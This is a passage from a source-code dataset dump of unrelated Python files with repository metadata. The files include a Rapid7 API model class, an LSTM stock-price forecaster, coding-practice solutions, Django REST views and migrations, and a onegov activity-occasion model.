------------------------------------------------------------- | | `host-name` | `is` ` is-not` ` contains` ` does-not-contain` ` starts-with` | | `ip-address` | `in-range` ` not-in-range` ` is` ` is-not` | | `mac-address` | `is` ` is-not` ` contains` ` does-not-contain` ` starts-with` | ##### Fields (Sonar) This section documents search criteria information for Sonar discovery connections. The discovery connections must be the type `\"sonar\"`. The following table outlines the search criteria fields and the available operators for Sonar connections: | Field | Operators | | ------------------- | -------------------- | | `search-domain` | `contains` ` is` | | `ip-address` | `in-range` ` is` | | `sonar-scan-date` | `is-within-the-last` | ##### Fields (vSphere) This section documents search criteria information for vSphere discovery connections. The discovery connections must be the type `\"vsphere\"`. The following table outlines the search criteria fields and the available operators for vSphere connections: | Field | Operators | | -------------------- | ------------------------------------------------------------------------------------------ | | `cluster` | `is` ` is-not` ` contains` ` does-not-contain` ` starts-with` | | `data-center` | `is` ` is-not` | | `discovered-time` | `is-on-or-before` ` is-on-or-after` ` is-between` ` is-earlier-than` ` is-within-the-last` | | `guest-os-family` | `contains` ` does-not-contain` | | `host-name` | `is` ` is-not` ` contains` ` does-not-contain` ` starts-with` | | `ip-address` | `in-range` ` not-in-range` ` is` ` is-not` | | `power-state` | `in` ` not-in` | | `resource-pool-path` | `contains` ` does-not-contain` | | `last-time-seen` | `is-on-or-before` ` is-on-or-after` ` is-between` ` is-earlier-than` ` is-within-the-last` | | `vm` | `is` ` is-not` ` contains` ` does-not-contain` ` starts-with` | ##### Enumerated Properties (vSphere) The following fields have enumerated values: | Field | Acceptable Values | | ------------- | ------------------------------------ | | `power-state` | `poweredOn` `poweredOff` `suspended` | ## HATEOAS This API follows Hypermedia as the Engine of Application State (HATEOAS) principals and is therefore hypermedia friendly. Hyperlinks are returned in the `links` property of any given resource and contain a fully-qualified hyperlink to the corresponding resource. The format of the hypermedia link adheres to both the <a target=\"_blank\" href=\"http://jsonapi.org\">{json:api} v1</a> <a target=\"_blank\" href=\"http://jsonapi.org/format/#document-links\">\"Link Object\"</a> and <a target=\"_blank\" href=\"http://json-schema.org/latest/json-schema-hypermedia.html\">JSON Hyper-Schema</a> <a target=\"_blank\" href=\"http://json-schema.org/latest/json-schema-hypermedia.html#rfc.section.5.2\">\"Link Description Object\"</a> formats. For example: ```json \"links\": [{ \"rel\": \"<relation>\", \"href\": \"<href>\" ... }] ``` Where appropriate link objects may also contain additional properties than the `rel` and `href` properties, such as `id`, `type`, etc. See the [Root](#tag/Root) resources for the entry points into API discovery. # noqa: E501
OpenAPI spec version: 3
Contact: [email protected]
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
from rapid7vmconsole.models.link import Link # noqa: F401,E501
from rapid7vmconsole.models.policy_override import PolicyOverride # noqa: F401,E501
class ResourcesPolicyOverride(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'links': 'list[Link]',
'resources': 'list[PolicyOverride]'
}
attribute_map = {
'links': 'links',
'resources': 'resources'
}
def __init__(self, links=None, resources=None): # noqa: E501
"""ResourcesPolicyOverride - a model defined in Swagger""" # noqa: E501
self._links = None
self._resources = None
self.discriminator = None
if links is not None:
self.links = links
if resources is not None:
self.resources = resources
@property
def links(self):
"""Gets the links of this ResourcesPolicyOverride. # noqa: E501
Hypermedia links to corresponding or related resources. # noqa: E501
:return: The links of this ResourcesPolicyOverride. # noqa: E501
:rtype: list[Link]
"""
return self._links
@links.setter
def links(self, links):
"""Sets the links of this ResourcesPolicyOverride.
Hypermedia links to corresponding or related resources. # noqa: E501
:param links: The links of this ResourcesPolicyOverride. # noqa: E501
:type: list[Link]
"""
self._links = links
@property
def resources(self):
"""Gets the resources of this ResourcesPolicyOverride. # noqa: E501
The resources returned. # noqa: E501
:return: The resources of this ResourcesPolicyOverride. # noqa: E501
:rtype: list[PolicyOverride]
"""
return self._resources
@resources.setter
def resources(self, resources):
"""Sets the resources of this ResourcesPolicyOverride.
The resources returned. # noqa: E501
:param resources: The resources of this ResourcesPolicyOverride. # noqa: E501
:type: list[PolicyOverride]
"""
self._resources = resources
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, ResourcesPolicyOverride):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
| [
"[email protected]"
] | |
a21976098d397a872b65179026a16e0c985a6ddf | eb2668b93899637f04e4c93e01063d0c8175ccde | /Stock_prices/Polimetall/Polimetall_stock_price_LSTM.py | dba94543d4d0d4a5cb22d9943bd63d902f40b0a3 | [] | no_license | D-Katt/AI-Machine-Learning | aad1fe1c8f3f901cb7829919d1b69a106f0ddfab | 1868c92366dccabf8c86c559eee640645b51bb51 | refs/heads/master | 2021-12-19T21:59:04.403188 | 2021-12-07T13:07:46 | 2021-12-07T13:07:46 | 235,104,866 | 3 | 2 | null | null | null | null | UTF-8 | Python | false | false | 5,253 | py | """Model predicts next day's stock price for Polymetall metal company
based on the close price for previous periods. Univariate LSTM model.
Data source: https://www.finam.ru/profile/moex-akcii/polymetal-international-plc/export/
"""
import pandas as pd
import numpy as np
import datetime
from sklearn.preprocessing import MinMaxScaler
import tensorflow as tf
import matplotlib.pyplot as plt
from pandas.plotting import register_matplotlib_converters
register_matplotlib_converters()
# Plots display settings
plt.rcParams['figure.figsize'] = 12, 8
plt.rcParams.update({'font.size': 14})
FILE_PATH = 'POLY_stock_price.csv'
# Tensorflow settings
EPOCHS = 1000
PATIENCE = 5
BATCH_SIZE = 64
LOOKBACK = 3
SAMPLING_RATE = 1
STRIDE = 1
# --------------------------- Functions -----------------------------
def get_data(path: str) -> pd.DataFrame:
"""Function loads stock prices from a local file.
:param path: Path to a csv file
:return: DataFrame with close price column and datetime index
"""
parser = lambda x: datetime.datetime.strptime(x, '%Y%m%d')
df = pd.read_csv(path, usecols=['<CLOSE>', '<DATE>'],
index_col='<DATE>', date_parser=parser)
display_data(df)
return df
def display_data(df: pd.DataFrame):
"""Function displays a chart with historical prices.
:param df: 1-column DataFrame with prices and datetime index
"""
plt.plot(df)
plt.title('Stock Price')
plt.ylabel('Rubles')
plt.savefig('prices.png')
plt.show()
def plot_history(hist):
"""Function plots a chart with training and validation metrics.
:param hist: Tensorflow history object from model.fit()
"""
# Losses
mae = hist.history['loss']
val_mae = hist.history['val_loss']
# Epochs to plot along x axis
x_axis = range(1, len(mae) + 1)
plt.plot(x_axis, mae, 'bo', label='Training')
plt.plot(x_axis, val_mae, 'ro', label='Validation')
plt.title('Mean Squared Error')
plt.ylabel('Loss (MSE)')
plt.xlabel('Epochs')
plt.legend()
plt.tight_layout()
plt.savefig('uni_training.png')
plt.show()
# ------------------------ Data processing --------------------------
# Historical data
data = get_data(FILE_PATH)
# Scale numeric data to the range between 0 and 1
scaler = MinMaxScaler()
data_scaled = scaler.fit_transform(np.array(data).reshape(-1, 1))
# Create iterables containing stock prices and corresponding next day's prices
input_features = data_scaled[:-1, :]
targets = data_scaled[1:, :]
# Leave latest periods for test and validation purposes
train_data = input_features[:-120]
val_data = input_features[-120:-50]
test_data = input_features[-50:]
train_targets = targets[:-120]
val_targets = targets[-120:-50]
test_targets = targets[-50:]
print(f'Dataset shape: {data.shape}')
print(f'Train data: {train_data.shape}')
print(f'Validation data: {val_data.shape}')
print(f'Test data: {test_data.shape}')
# Create tensorflow dataset objects
train_ds = tf.keras.preprocessing.sequence.TimeseriesGenerator(
train_data, train_targets,
length=LOOKBACK, sampling_rate=SAMPLING_RATE,
stride=STRIDE, shuffle=True,
batch_size=BATCH_SIZE
)
val_ds = tf.keras.preprocessing.sequence.TimeseriesGenerator(
val_data, val_targets,
length=LOOKBACK, sampling_rate=SAMPLING_RATE,
stride=STRIDE, shuffle=False,
batch_size=BATCH_SIZE
)
test_ds = tf.keras.preprocessing.sequence.TimeseriesGenerator(
test_data, test_targets,
length=LOOKBACK, sampling_rate=SAMPLING_RATE,
stride=STRIDE, shuffle=False,
batch_size=BATCH_SIZE
)
# -------------------------------- Model -----------------------------------
# Neural network with Long Short-Term Memory layers
model = tf.keras.models.Sequential(
[
tf.keras.layers.LSTM(4, recurrent_dropout=0.15, return_sequences=True,
input_shape=(LOOKBACK, 1)),
tf.keras.layers.LSTM(4, recurrent_dropout=0.15, return_sequences=False),
tf.keras.layers.Dense(1)
]
)
model.compile(optimizer='adam', loss='mse',
metrics=[tf.keras.metrics.MeanAbsolutePercentageError()])
model.summary()
# Train the model until validation accuracy stops improving
early_stop = tf.keras.callbacks.EarlyStopping(
monitor='val_loss', patience=PATIENCE, restore_best_weights=True
)
history = model.fit(train_ds,
epochs=EPOCHS,
verbose=2,
validation_data=val_ds,
callbacks=[early_stop])
plot_history(history)
# Evaluate the model on the test set
test_loss, test_mape = model.evaluate(test_ds)
print(f'MSE loss on test data: {test_loss}\nMAPE: {test_mape}')
# Forecasts for validation and test periods
pred_val = model.predict(val_ds)
pred_val = scaler.inverse_transform(pred_val)
pred_test = model.predict(test_ds)
pred_test = scaler.inverse_transform(pred_test)
# Visualize forecast vs. actual prices
plt.plot(data[-150:], label='Actual data')
plt.plot(data[-120+LOOKBACK-1:-50-1].index, pred_val.ravel(), label='Validation forecast')
plt.plot(data[-50+LOOKBACK-1:-1].index, pred_test.ravel(), label='Test forecast')
plt.ylabel('Rubles')
plt.title('Stock Price')
plt.legend()
plt.savefig('uni_forecast.png')
plt.show()
| [
"[email protected]"
] | |
522878a342ba618f400659d8de5ebac245bc5003 | db0e8aa3a92a30c9b1cc8da03725e951ff64f3f1 | /lenv/lib/python3.6/site-packages/Django-1.11.28.dist-info/entry_points.txt.py | bee25fd9149b419ebb4c674fb394d02833a66ca3 | [
"BSD-3-Clause"
] | permissive | shrey-c/DataLeakageDjango | ffeef61caa347520747fc70cf3f7f8b84a9610cf | a827c5a09e5501921f9fb97b656755671238dd63 | refs/heads/master | 2022-11-30T03:30:12.313025 | 2020-07-12T06:47:44 | 2020-07-12T06:47:44 | 242,569,637 | 6 | 1 | BSD-3-Clause | 2022-11-22T05:20:22 | 2020-02-23T18:33:04 | Python | UTF-8 | Python | false | false | 83 | py | XXXXXXXXXXXXXXXXX
XXXXXXXXXXXX X XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
| [
"[email protected]"
] | |
f1428f69f24ccc83805630ac7b8aa0c3d0a03709 | 1285703d35b5a37734e40121cd660e9c1a73b076 | /codility/lesson_dp.py | 75630e274ca92cb387134bb84a03666605defdcd | [] | no_license | takin6/algorithm-practice | 21826c711f57131108168775f08e4e13d07a3b38 | f4098bea2085a77d11c29e1593b3cc3f579c24aa | refs/heads/master | 2022-11-30T09:40:58.083766 | 2020-08-07T22:07:46 | 2020-08-07T22:07:46 | 283,609,862 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,728 | py |
# val(A,S) = sum( abs( [ A[i]*S[i] for i in range(N)] ))
# A = [1,5,2,-2]
# # S = {-1,1-1,1}
# S = [-1,1,-1,1]
# N = len(A)
# for i in range(N):
# print(A[i]*S[i])
# (Assume that the sum of zero elements equals zero.)
def solution(A):
A = [ abs(i) for i in A ]
N = len(A)
dp = [ [float("inf")]*(N+1) for _ in range(2)]
dp[0][0], dp[1][0] = 0, 0
# i = 0 (-1), 1(1)
# dp[i][j]
for i in range(1, N+1):
dp[0][i] = min( abs( (A[i-1] * -1) + dp[0][i-1] ), abs( (A[i-1] * -1) + dp[1][i-1] ) )
dp[1][i] = min( abs( A[i-1] + dp[0][i-1] ), abs( A[i-1] + dp[1][i-1] ) )
# for i in range(1, N+1):
# if abs((A[i-1] * -1) + dp[0][i-1]) > abs((A[i-1] * -1) + dp[1][i-1]):
# dp[0][i] = (A[i-1] * -1) + dp[1][i-1]
# else:
# dp[0][i] = (A[i-1] * -1) + dp[0][i-1]
# if abs(A[i-1] + dp[0][i-1]) > abs(A[i-1] + dp[1][i-1] ):
# dp[1][i] = A[i-1] + dp[1][i-1]
# else:
# dp[1][i] = A[i-1] + dp[0][i-1]
print(dp)
return min(abs(dp[0][-1]), abs(dp[1][-1]))
def solution(A):
N = len(A)
M = 0
for i in range(N):
A[i] = abs(A[i])
M = max(A[i], M)
S = sum(A)
count = [0] * (M+1)
for i in range(N):
count[A[i]] += 1
dp = [-1] * (S+1)
dp[0] = 0
for a in range(1, M+1):
if count[a] > 0:
for j in range(S):
if dp[j] >= 0:
dp[j] = count[a]
elif j >= a and dp[j-1] > 0:
dp[j] = dp[j-a] - 1
print(dp)
result = S
for i in range(S//2+1):
if dp[i] >= 0:
result = min(result, S-2*i)
return result
print(solution([1,5,2,-2]))
print(solution([1,5,2,-3])) | [
"[email protected]"
] | |
dff75fc51048521dd1ee7a43e1493fde50e29379 | 58937468e368e87ff8683ba481e1d42a0fd56422 | /government/serializers/__init__.py | 605fa9d9ae7cc6b55415319886e1c4c33ef25446 | [
"MIT"
] | permissive | The-Politico/politico-civic-government | 8da45c490eda094bb136a8e3d3b954daebcef617 | 623baf95e1b029c3bbfccf300cdfca630f4969f8 | refs/heads/master | 2022-12-11T12:37:46.837216 | 2019-01-04T19:33:19 | 2019-01-04T19:33:19 | 116,028,686 | 0 | 0 | MIT | 2022-10-18T18:31:26 | 2018-01-02T15:21:27 | Python | UTF-8 | Python | false | false | 169 | py | # flake8: noqa
from .body import BodySerializer
from .office import OfficeSerializer
from .jurisdiction import JurisdictionSerializer
from .party import PartySerializer
| [
"[email protected]"
] | |
b86910e27df29df8ecc51ae23afdae872eb46631 | 4ca008a67bc91383255d2a1919b46556ef50622e | /support/main/migrations/0004_auto_20190306_1409.py | 224c992f35c9222f20476e4d70b9f373a840169f | [] | no_license | zdimon/support-ionic-django | 8dc649fc13f3d67f0982ed8b5a796f4e443a60fc | f6c096cfa99bb1f6cdb2bf94af2865b02f8e7c75 | refs/heads/master | 2023-02-08T04:23:28.990129 | 2021-10-07T05:56:43 | 2021-10-07T05:56:43 | 244,316,789 | 0 | 0 | null | 2023-01-24T01:31:40 | 2020-03-02T08:21:35 | JavaScript | UTF-8 | Python | false | false | 539 | py | # Generated by Django 2.1.7 on 2019-03-06 14:09
from django.db import migrations
import tinymce.models
class Migration(migrations.Migration):
dependencies = [
('main', '0003_auto_20190306_1403'),
]
operations = [
migrations.RemoveField(
model_name='digest',
name='value',
),
migrations.AddField(
model_name='digest',
name='content',
field=tinymce.models.HTMLField(default=''),
preserve_default=False,
),
]
| [
"[email protected]"
] | |
f33f82dad957ad77c9c30ba73d16dbacfdfd33f1 | dc8a337ea1d8a285577d33e5cfd4dbbe846ee1a0 | /src/main/scala/MaximumAverageSubtree.py | a398eb6c8e7364ea2a69c3d5df160e65f8b0b9f4 | [] | no_license | joestalker1/leetcode | 8a5cdda17abd33c3eef859732f75d7bec77a9d0e | ae392ddbc7eb56cb814b9e9715043c98a89a6314 | refs/heads/master | 2023-04-13T22:09:54.407864 | 2023-04-09T19:22:54 | 2023-04-09T19:22:54 | 131,803,943 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 752 | py | class TreeNode:
def __init__(self, val=0, left=None, right=None):
self.val = val
self.left = left
self.right = right
class Solution:
def maximumAverageSubtree(self, root):
if not root:
return 0
def find_avg(node):
if not node:
return [0, 0, 0] #count,sum, avg
left_count,left_sum,left_avg = find_avg(node.left)
right_count,right_sum,right_avg = find_avg(node.right)
count = 1 + left_count + right_count
sum_node = node.val + left_sum + right_sum
avg = sum_node / count
max_avg = max(avg, left_avg, right_avg)
return [count, sum_node, max_avg]
return find_avg(root)[2]
| [
"[email protected]"
] | |
acb7e479c8659db7cf8998b68023fe7856a6a3eb | 4c3e992678341ccaa1d4d14e97dac2e0682026d1 | /addons/website_crm/__manifest__.py | 25c3c8c27c1aaa7be1c4bea195297a66d7694d84 | [] | no_license | gahan-corporation/wyatt | 3a6add8f8f815bd26643e1e7c81aea024945130d | 77e56da362bec56f13bf0abc9f8cf13e98461111 | refs/heads/master | 2021-09-03T18:56:15.726392 | 2018-01-08T02:54:47 | 2018-01-08T02:54:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 529 | py | {
'name': 'Contact Form',
'category': 'Website',
'sequence': 54,
'website': 'https://www.gerp.com/page/website-builder',
'summary': 'Create Leads From Contact Form',
'version': '2.0',
'description': "",
'depends': ['website_form', 'website_partner', 'crm'],
'data': [
'data/website_crm_data.xml',
'views/website_crm_templates.xml',
'views/res_config_settings_views.xml',
],
'qweb': ['static/src/xml/*.xml'],
'installable': True,
'auto_install': True,
}
| [
"[email protected]"
] | |
f71fa3008085e80be37a7aacd30689da78448a15 | 60e26e2c6e1fe185f0af2065cb4fd4d6d506504e | /engine/multimedia/api_view.py | 3ab0699cd607fc493fb62d36e931b581326efe44 | [
"BSD-3-Clause"
] | permissive | NamoxLabs/BlogEngine | 4887df1078e4b15bc44c51b9b8c2d8b1e8a6aca4 | 741549e78b58bbc857e9dcecd88034de49d73304 | refs/heads/master | 2023-05-12T08:38:36.811094 | 2020-12-10T01:36:59 | 2020-12-10T01:36:59 | 155,762,174 | 1 | 2 | BSD-3-Clause | 2023-04-29T18:53:41 | 2018-11-01T19:00:48 | Python | UTF-8 | Python | false | false | 3,159 | py | from rest_framework import generics, permissions, renderers, viewsets, authentication
from rest_framework.views import APIView
from rest_framework.parsers import MultiPartParser, FormParser
from rest_framework.decorators import api_view, action
from rest_framework.response import Response
from rest_framework.reverse import reverse
from rest_framework_jwt.settings import api_settings
from engine.multimedia.models import MultimediaUser as MulUserModel, MultimediaCategory as MulCatModel,\
MultimediaSubategory as MulSubCModel, MultimediaPost as MulPostModel
from .serializers import MulUserSerializer, MulCatSerializer,\
MulSubCSerializer, MulPostSerializer
from engine.utils import get_request_token, get_user_token
jwt_payload_handler = api_settings.JWT_PAYLOAD_HANDLER
jwt_encode_handler = api_settings.JWT_ENCODE_HANDLER
@api_view(['GET'])
def api_root(request, format=None):
return Response({
'multimedia': reverse('multimedia-list', request=request, format=format),
})
class MultimediaHandler(APIView):
#authentication_classes = (authentication.JSONWebTokenAuthentication,)
permission_classes = (permissions.IsAuthenticated,)
#permission_classes = (permissions.IsAdminUser,)
def post(self, request, format=None):
print("request.FILES")
print(request.FILES)
request.FILES
#serializer = UserAvatarSerializer(files=request.FILES)
#print("serializer")
#print(serializer)
if serializer.is_valid():
print("funca")
serializer.save()
return Response(serializer.data)
"""
class MultimediaHandler(viewsets.ModelViewSet):
queryset = MulUserModel.objects.all()
serializer_class = UserAvatarSerializer
permission_classes = (permissions.IsAuthenticated,)
parser_classes = (MultiPartParser, FormParser,)
@get_user_token
#@get_multimedia
#def create_img(self, request, pk=None):
def create_img(self, obj):
print("l")
obj.temp_file = self.request.FILES.get('image')
print("obj")
print(obj)
"""
class MultimediaUser(viewsets.ModelViewSet):
queryset = MulUserModel.objects.all()
serializer_class = MulUserSerializer
permission_classes = (permissions.IsAuthenticated,)
@get_user_token
#@get_multimedia
def create_post(self, request, pk=None):
print("l")
class MultimediaCategory(viewsets.ModelViewSet):
queryset = MulCatModel.objects.all()
serializer_class = MulCatSerializer
permission_classes = (permissions.IsAuthenticated,)
def perform_create(self, serializer):
serializer.save()
class MultimediaSubcategory(viewsets.ModelViewSet):
queryset = MulSubCModel.objects.all()
serializer_class = MulSubCSerializer
permission_classes = (permissions.IsAuthenticated,)
def perform_create(self, serializer):
serializer.save()
class MultimediaPost(viewsets.ModelViewSet):
queryset = MulPostModel.objects.all()
serializer_class = MulPostSerializer
permission_classes = (permissions.IsAuthenticated,)
def perform_create(self, serializer):
serializer.save() | [
"[email protected]"
] | |
f5d29bcd1f8c9486d8d4569548e35971fb29edf7 | 54bb9ba6d507cd25b2c2ac553665bc5fc95280d1 | /src/onegov/activity/models/occasion.py | dfbc61ee9ba1687033df2d221ca1fa4a7a74df52 | [
"MIT"
] | permissive | href/onegov-cloud | 9ff736d968979380edba266b6eba0e9096438397 | bb292e8e0fb60fd1cd4e11b0196fbeff1a66e079 | refs/heads/master | 2020-12-22T07:59:13.691431 | 2020-01-28T08:51:54 | 2020-01-28T08:51:54 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,719 | py | import sedate
from datetime import datetime, timedelta
from onegov.activity.models.occasion_date import DAYS
from onegov.core.orm import Base
from onegov.core.orm.mixins import TimestampMixin
from onegov.core.orm.types import UUID
from psycopg2.extras import NumericRange
from sqlalchemy import Boolean
from sqlalchemy import case
from sqlalchemy import Column
from sqlalchemy import ForeignKey
from sqlalchemy import func
from sqlalchemy import Integer
from sqlalchemy import Numeric
from sqlalchemy import Text
from sqlalchemy.dialects.postgresql import ARRAY, INT4RANGE
from sqlalchemy.ext.hybrid import hybrid_property
from sqlalchemy.sql.functions import coalesce
from sqlalchemy.orm import relationship, object_session, validates
from sqlalchemy_utils import aggregated, observes
from uuid import uuid4
class Occasion(Base, TimestampMixin):
""" Describes a single occurrence of an Activity. "Occurence" would have
been a good word for it too, but that's used by onegov.event.
So occasion it is.
"""
__tablename__ = 'occasions'
def __hash__(self):
return hash(self.id)
#: the public id of this occasion
id = Column(UUID, primary_key=True, default=uuid4)
#: Describes the meeting point of the occasion
meeting_point = Column(Text, nullable=True)
#: The expected age of participants
age = Column(
INT4RANGE, nullable=False, default=NumericRange(6, 17, bounds='[]'))
#: The expected number of participants
spots = Column(
INT4RANGE, nullable=False, default=NumericRange(0, 10, bounds='[]'))
#: A note about the occurrence
note = Column(Text, nullable=True)
#: The cost of the occasion (max value is 100'000.00), the currency is
#: assumed to be CHF as this system will probably never be used outside
#: Switzerland
cost = Column(Numeric(precision=8, scale=2), nullable=True)
#: The administrative cost of the occasion, this shadows the same column
#: on the period. If given, it overrides that column, if left to None, it
#: means that the period's booking cost is taken.
#:
#: In all-inclusive periods, this value is ignored.
booking_cost = Column(Numeric(precision=8, scale=2), nullable=True)
#: The activity this occasion belongs to
activity_id = Column(
UUID, ForeignKey("activities.id", use_alter=True), nullable=False)
#: The period this occasion belongs to
period_id = Column(
UUID, ForeignKey("periods.id", use_alter=True), nullable=False)
#: True if the occasion has been cancelled
cancelled = Column(Boolean, nullable=False, default=False)
#: The duration defined by the associated dates
duration = Column(Integer, default=0)
#: The default order
order = Column(Integer, default=0)
#: Pretend like this occasion doesn't use any time
exclude_from_overlap_check = Column(Boolean, nullable=False, default=False)
#: This occasion can be booked, even if the booking limit has been reached
#: (does not currently apply to the matching, only to confirmed periods)
exempt_from_booking_limit = Column(Boolean, nullable=False, default=False)
#: Days on which this occasion is active
active_days = Column(ARRAY(Integer), nullable=False, default=list)
#: Weekdays on which this occasion is active
weekdays = Column(ARRAY(Integer), nullable=False, default=list)
#: Indicates if an occasion needs volunteers or not
seeking_volunteers = Column(Boolean, nullable=False, default=False)
@aggregated('accepted', Column(Integer, default=0))
def attendee_count(self):
return func.count('1')
#: The bookings linked to this occasion
bookings = relationship(
'Booking',
order_by='Booking.created',
backref='occasion'
)
#: The dates associated with this occasion (loaded eagerly)
dates = relationship(
'OccasionDate',
cascade='all,delete',
order_by='OccasionDate.start',
backref='occasion',
lazy='joined',
)
accepted = relationship(
'Booking',
primaryjoin=("""and_(
Booking.occasion_id == Occasion.id,
Booking.state == 'accepted'
)"""),
viewonly=True
)
#: The needs associated with this occasion
needs = relationship(
'OccasionNeed',
cascade='all,delete',
order_by='OccasionNeed.name',
backref='occasion',
)
def on_date_change(self):
""" Date changes are not properly propagated to the observer for
some reason, so we do this manually with a hook.
It's a bit of a hack, but multiple dates per occasion had to be
added at the last minute..
"""
self.observe_dates(self.dates)
@property
def anti_affinity_group(self):
""" Uses the activity_id/period_id as an anti-affinity group to ensure
that an attendee is never given two occasions of the same activity
in a single period.
If that is wanted, the attendee is meant to do this after the
matching has been done, with a direct booking.
"""
return (self.activity_id.hex, self.period_id.hex)
@hybrid_property
def total_cost(self):
""" Calculates the cost of booking a single occasion, including all
costs only relevant to this occasion (i.e. excluding the all-inclusive
subscription cost).
"""
base = self.cost or 0
if self.period.all_inclusive:
return base
if self.booking_cost:
return base + self.booking_cost
if self.period.booking_cost:
return base + self.period.booking_cost
return base
@total_cost.expression
def total_cost(self):
from onegov.activity.models.period import Period
return coalesce(Occasion.cost, 0) + case([
(Period.all_inclusive == True, 0),
(Period.all_inclusive == False, func.coalesce(
Occasion.booking_cost, Period.booking_cost, 0
)),
])
def compute_duration(self, dates):
if not dates:
return 0
if len(dates) <= 1:
return int(next(iter(dates)).duration)
first = min((d for d in dates), key=lambda d: d.start)
last = max((d for d in dates), key=lambda d: d.end)
return int(DAYS.compute(
first.localized_start,
last.localized_end,
(last.end - first.start).total_seconds()
))
def compute_order(self, dates):
if not dates:
return -1
return int(min(d.start for d in dates).timestamp())
def compute_active_days(self, dates):
return [day for date in (dates or ()) for day in date.active_days]
def compute_weekdays(self, dates):
return list({day for date in (dates or ()) for day in date.weekdays})
@observes('dates')
def observe_dates(self, dates):
self.duration = self.compute_duration(dates)
self.order = self.compute_order(dates)
self.weekdays = self.compute_weekdays(dates)
self.active_days = self.compute_active_days(dates)
@validates('dates')
def validate_dates(self, key, date):
for o in self.dates:
if o.id != date.id:
assert not sedate.overlaps(
date.start, date.end, o.start, o.end)
return date
@observes('needs')
def observe_needs(self, needs):
for need in (needs or ()):
if need.accept_signups:
self.seeking_volunteers = True
break
else:
self.seeking_volunteers = False
@hybrid_property
def operable(self):
return self.attendee_count >= self.spots.lower
@hybrid_property
def full(self):
return self.attendee_count == self.spots.upper - 1
@hybrid_property
def available_spots(self):
if self.cancelled:
return 0
return self.spots.upper - 1 - self.attendee_count
@available_spots.expression
def available_spots(cls):
return case((
(
cls.cancelled == False,
func.upper(cls.spots) - 1 - cls.attendee_count
),
), else_=0)
@property
def max_spots(self):
return self.spots.upper - 1
def is_past_deadline(self, date):
return date > self.deadline
def is_past_cancellation(self, date):
cancellation = self.cancellation_deadline
return cancellation is None or date > cancellation
@property
def deadline(self):
""" The date until which this occasion may be booked (inclusive). """
period = self.period
if period.deadline_days is None:
if isinstance(self.period.booking_end, datetime):
return self.period.booking_end.date()
return self.period.booking_end
min_date = min(d.start for d in self.dates)
return (min_date - timedelta(days=period.deadline_days + 1)).date()
@property
def cancellation_deadline(self):
""" The date until which bookings of this occasion may be cancelled
by a mere member (inclusive).
If mere members are not allowed to do that, the deadline returns None.
"""
period = self.period
if period.cancellation_date is not None:
return period.cancellation_date
if period.cancellation_days is None:
return None
min_date = min(d.start for d in self.dates)
return (min_date - timedelta(days=period.cancellation_days + 1)).date()
def cancel(self):
from onegov.activity.collections import BookingCollection
assert not self.cancelled
period = self.period
if not period.confirmed:
def cancel(booking):
booking.state = 'cancelled'
else:
bookings = BookingCollection(object_session(self))
scoring = period.scoring
def cancel(booking):
bookings.cancel_booking(booking, scoring)
for booking in self.bookings:
assert booking.period_id == period.id
cancel(booking)
self.cancelled = True
def is_too_young(self, birth_date):
return self.period.age_barrier.is_too_young(
birth_date=birth_date,
start_date=self.dates[0].start.date(),
min_age=self.age.lower)
def is_too_old(self, birth_date):
return self.period.age_barrier.is_too_old(
birth_date=birth_date,
start_date=self.dates[0].start.date(),
max_age=self.age.upper - 1)
| [
"[email protected]"
] | |
d2c68acf9b53244d3d86dcddc2dfb141b3295ea1 | 99d7a6448a15e7770e3b6f3859da043300097136 | /src/managers/plugins/manager_preferences_page.py | 108378a6b8bff9ec02512d2ba1c2ea9974fed843 | [] | no_license | softtrainee/arlab | 125c5943f83b37bc7431ae985ac7b936e08a8fe4 | b691b6be8214dcb56921c55daed4d009b0b62027 | refs/heads/master | 2020-12-31T07:54:48.447800 | 2013-05-06T02:49:12 | 2013-05-06T02:49:12 | 53,566,313 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,279 | py | #===============================================================================
# Copyright 2011 Jake Ross
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#===============================================================================
#============= enthought library imports =======================
from traits.api import HasTraits, Str, Bool, Float, List, on_trait_change, \
Range, Instance
from traitsui.api import View, Item, VGroup, TableEditor, Group, HGroup
from apptools.preferences.ui.api import PreferencesPage
from traitsui.table_column import ObjectColumn
from traitsui.extras.checkbox_column import CheckboxColumn
#============= standard library imports ========================
#============= local library imports ==========================
from src.helpers.parsers.initialization_parser import InitializationParser
class CItem(HasTraits):
enabled = Bool
name = Str
class ManagerPreferencesPage(PreferencesPage):
'''
abstract class. should not be used directly
ensure subclass sets plugin_name
'''
devices = List(transient=True)
managers = List(transient=True)
plugin_name = None
open_on_startup = Bool
enable_close_after = Bool
close_after = Range(0, 60, 60)
width = Float(-1)
height = Float(0.85)
x = Float(10)
y = Float(20)
parser = Instance(InitializationParser, (), transient=True)
@on_trait_change('managers:enabled')
